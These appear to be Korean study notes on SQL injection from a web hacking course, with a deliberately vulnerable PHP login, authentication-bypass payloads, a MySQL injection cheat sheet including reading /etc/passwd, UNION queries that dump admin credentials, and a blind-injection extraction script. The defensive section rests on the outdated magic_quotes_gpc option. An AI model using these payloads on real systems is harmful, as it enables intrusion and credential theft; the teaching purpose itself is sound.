2.7 데이터베이스 해킹

  • 데이터베이스: 데이터의 집합

  • DBMS(DataBase Management System)

    -> 웹 언어와 독립적으로 사용

    웹언어 DBMS 공통특징
    PHP MySQL 오픈소스
    JSP Oracle 오라클 사의 제품
    ASP Ms-SQL 마이크로소프트 사의 제품

2.7.1 공격에 필요한 구문

SQL 삽입

ex) My SQL 레퍼런스의 SELECT 문

SELECT
	[ALL | DISTINCT | DISTINCTROW ]
	[HIGH_PRIORITY]
	[STRAIGHT_JOIN]
	[SQL_SMALL_RESULT] [SQL_BIG_RESULT ][SQL_BUFFER_RESULT]
	[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
	select_expr [,select_expr ...]
	[FROM table_references
     [WHERE where_condition]
     [GROUP BY {col_name | expr | position}
     	[ASC |DESC], ... [WITH ROLLUP]]
     [HAVING where_condition]
     [ORDER BY {col_name | expr | position}
     	[ASC | DESC], ...]
     [LIMIT {[offset,] row_count | row_count OFFSET offset}]
     [PROCEDURE procedure_name(argument_list)]
     [INTO OUTFILE 'file_name' export_options
     	| INTO DUMPFILE 'file_name'
     	| INTO var_name [, var_name]]
     [FOR UPDATE | LOCK IN SHARE MODE]},

※SELECT {칼럼} FROM {테이블} WHERE {조건}

  • 웹 페이지 회원기능

    • 회원가입 - INSERT문

      • 회원가입 쿼리

        insert into member(id, password, name) values(‘입력아이디’, ‘입력패스워드’,’입력이름’);

        -> Member 테이블에 ‘입력아이디’, ‘입력패스워드’,’입력이름’ 값을 추가

    • 회원정보 수정 - UPDATE문

      • 회원정보 수정 쿼리

        update member set password=’새로운 패스워드’ where id =’hellsonic’

        -> Member 테이블에 id가 hellsonic인 경우 패스워드를 ‘새로운 패스워드’로 변경

    • 로그인 - SELECT 문

      • 로그인 쿼리

        select idx from member where id=”입력아이디” and password=’입력패스워드’

        -> Member 테이블에서 id가 ‘입력아이디’이고 password가 ‘입력패스워드’인 결과의 idx 칼럼 출력

    • 회원 탈퇴 - DELETE 문

      • 회원 탈퇴 쿼리

        delete from member where id = ‘hellsonic’

        -> Member의 테이블에 id가 hellsonic인 경우 Row 삭제

    • UNION

      -> SQL 삽입 공격시 가장 많이 사용되는 쿼리

      ex) UNION 사용시 앞 SELECT 문의 칼럽 개수와 뒤 SELECT문의 칼럼 개수가 같아야함

      ​ -> SELECT 1,2,3 UNION SELECT 4,5,6

      ​ => 실제 UNION 통해 공격시, 앞 칼럼 개수 추측하여 1개씩 늘려감

2.7.2 공격

=> 간단한 SQL 삽입 테스트론 쿼트 문자열 1개 삽입하여 에러유무 확인

​ -> 서버 환경에 따라 결과값 다르기 때문에 정확하게 테스트하기

따옴표로 SQL 삽입 공격

ex) 로그인 소스코드

$result = mysql_query("SELECT id FROM member WHERE id='$id' and password='$password'");
$info = mysql_fetch_array($result);
if($info[0]) { // 아이디와 비번 존재시
echo "Hello".$info[0]; // 아이디 출력
}else{
echo "Login Fail";
}
  • 공격

    SELECT id FROM member WHERE id=’admin’ and password=’ ‘ or ‘1’=’1’

    -> 아이디에 admin, 패스워드에 ‘ or ‘1’=’1

    =>id가 admin이면서 패스워드가 빈칸(‘‘)이거나, 1=1이 참일때 모든 ROW 리턴

    -> 최상위 ROW값의 아이디(admin)d으로 로그인

  • 그 외 SQL 삽입 취약점 테스트

    ' or 1=1#
    ' or '1'='1
    " or 1=1#
    '||1=1#
    "||1=1#
    '||2>1#
    or 1=1 #
    '> or ('1'='1
    ...
    

UNOIN과 Cheat Sheet로 로그인 공격

  • MySQL 삽입 Cheat Sheet

    유저명 출력 select user();
    버전명 출력 select version();
    현재 사용 데이터베이스명 출력 select database();
    유저 리스트 출력 select database();
    모든 스키마명 출력 select user from mysql.user
    모든 테이블명 출력 select shema.name from information_schema.schemata
    테이블 칼럼명 출력 select table_name from infromation_schema.tables
    테이블 칼럼명 출력 select column_name from information_schema.columns where table_name=”테이블 명”
    로컬 파일 접근 select load_file(‘/etc/passwd’)
    파일로 추출 select 1234 into outfile ‘/tmp/outfile’
  • 공격

    • cheat sheet 와 UNION문으로 데이터 추출

      Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select version()#’

    • cheat sheet 와 UNION문으로 스키마 이름 추출

      Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select schema_name from information_schema limit 0,1#”

      -> 상위의 ‘information_schema’ 라는 스키마명 출력

      • 다른 줄 추출시 LIMIT문 사용
    • 데이터베이스명 획득

      Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select schema_name from information_schema.schemata limit 1,1#”

      -> Hello book // 데이터 베이스명: book

    • 테이블명 획득

      Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select schema_tables where table_schema=database () #”

      -> Hello member // 테이블명 : member

    • 칼럼명 획득

      Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select column_name from information_schema.columns where table_name=”member” limit 0,1#”

      -> Hello id // 칼럼명: id

    • 칼럼명 획득2(password)

      Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select column_name from information_schema.columns where table_name=”member” limit 1,1#”

      -> Hello password // 칼럼명: password

    • 멤버 테이블의 id, password 획득

      Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select concat ( id, ‘:’, password) from member#”

      -> Hello admin : admpwd

Blind SQL 삽입

-> 쿼리 결과의 참/거짓 정보만으로 데이터 추출

​ ex) 로그인

$result = mysql_query("SELECT id FROM member WHERE id='$id' and password='$password'");
$info = mysql_fetch_array($result);
if($info[0]) { // 아이디와 비번 존재시
echo "Login Success; // 존재 유무만
}else{
echo "Login Fail";
}

​ => ‘or 1=1#’로 로그인 우회 가능

데이터 추출

image

=> A라는 한바이트 문자열 뽑으려면 8번의 쿼리가 실행

  1. “ABC”추출을 위해 substr로 첫번째 글자 자르기

  2. 나온 “A”값을 10진수로 변환

  3. 10진수 “A”값인 65를 2진수로 변환

  4. 2진수를 lpad(left padding)함수로 8바이트로 맞추기

  5. 8바이트로 맞춰진 2진수의 첫번째바이트(0 또는 1)을 추출해 1과 비교

  • 쿼리로 표현시 :

    select substr(lpad(bin(ord(substr(“ABC”,1,1))),8,0),1,1);

쿼리로 표현

select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),1,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),2,1); //1리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),3,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),4,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),5,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),6,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),7,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),8,1); //1리턴

01000001 -> “A”

  • Blind SQL 삽입 자동화 코드

    j = 1;
    stack = "";
    while(1)
    {
    	for(i=1li<=8;i++){
    	rsult = get{"http://x.x.x.x/target.php?id=1234&password=1' or (select substr(lpad(bin(ord(substr(password,j,1)))),8,0),i,1) from member where id = 'admin')=1%23");
    	if(result=-Success){
    		stack += "1";
    	}else{
    		stack +="0";
    	}
    }
    print chr(bindec(stack));
    stack = "";
    j++;
      
    }
    

    -> 참 거짓으로 판별하여 유추

  • MySQL의 SQL삽입공격에서 자주 사용되는 함수

    ASCII()
    BIN()
    CONCAT()
    FIND_IN_SET()
    HEX()
    INSTR()
    LOAD_FILE()
    LEFT()
    RIGHT()
    ORD()
    LPAD()
    SUBSTR()
    SUBSTRING()
    

2.7.3 방어 기법

PHP

  • magic_quotes_gpc 옵션

    • GPC = GET, POST, COOKIE

    -> GET, POST, COOKIE로 들어오는 값에 작은따옴표, 큰따옴표, 역슬래시, 널바이트 문자 존재시 앞에 역슬래시 붙임

    => 저 옵션을 키고 모든 사용자 입력값을 작은 따옴표 또는 큰 따옴표로 감싸면 공격 방어 가능

2.8 웹 해킹 음미하기

  • OWASP 2013 Top10(10대 웹 애플리케이션 보안 위험)
    1. 삽입
    2. 인증 및 세션 관리 취약점
    3. 크로스 사이트 스크립팅
    4. 취약한 직접 객체 참조
    5. 보안 설정 오류
    6. 민감 데이터 노출
    7. 기능 수준의 접근 통제 누락
    8. 크로스 사이트 요청 변조
    9. 알려진 취약점이 있는 컴포넌트 사용
    10. 검증되지 않은 리다이레트 및 포워드